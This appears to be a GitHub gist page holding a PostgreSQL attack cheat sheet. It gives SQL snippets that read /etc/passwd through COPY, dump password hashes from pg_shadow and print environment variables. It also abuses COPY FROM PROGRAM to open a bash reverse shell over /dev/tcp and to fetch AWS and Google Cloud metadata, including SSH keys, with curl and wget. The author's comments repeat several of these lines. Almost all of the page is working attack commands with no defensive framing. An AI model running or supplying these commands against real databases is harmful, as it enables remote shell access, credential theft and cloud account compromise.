Skip to content

Instantly share code, notes, and snippets.

@random-robbie
Last active November 16, 2021 14:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save random-robbie/9c77661038e9d597bbd98db275e21c70 to your computer and use it in GitHub Desktop.
Save random-robbie/9c77661038e9d597bbd98db275e21c70 to your computer and use it in GitHub Desktop.

List All Takes

SELECT table_schema,table_name
FROM information_schema.tables
ORDER BY table_schema,table_name;

LFI Example

CREATE TABLE myfile (input TEXT);
COPY myfile FROM '/etc/passwd';
SELECT input FROM myfile;

Display Postgresql users

SELECT usename, passwd FROM pg_shadow;

Show Current User

select current_user;

Reverse Shell

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'bash -i >& /dev/tcp/IP/4444 0>&1';
SELECT weather_json FROM weather_json;

Grab AWS Metadata

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;

Grab Google Cloud Metadata

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://metadata.google.internal/computeMetadata/v/project/attributes/ssh-keys?alt=json -H "Metadata-Flavor: Google"';
SELECT weather_json FROM weather_json;

Enviroment Variables

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'printenv';
SELECT weather_json FROM weather_json;
@random-robbie
Copy link
Author

SELECT usename, passwd FROM pg_shadow;

@random-robbie
Copy link
Author

SELECT * FROM pg_shadow;

@random-robbie
Copy link
Author

select current_user;

@random-robbie
Copy link
Author

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'bash -i >& /dev/tcp/IP/4444 0>&1';
SELECT weather_json FROM weather_json;

@random-robbie
Copy link
Author

wget -q -O - "http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json"

@random-robbie
Copy link
Author

CREATE TABLE weather_json (cities TEXT);
COPY weather_json FROM PROGRAM 'curl -L http://169.254.169.254/latest/meta-data/';
SELECT weather_json FROM weather_json;

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment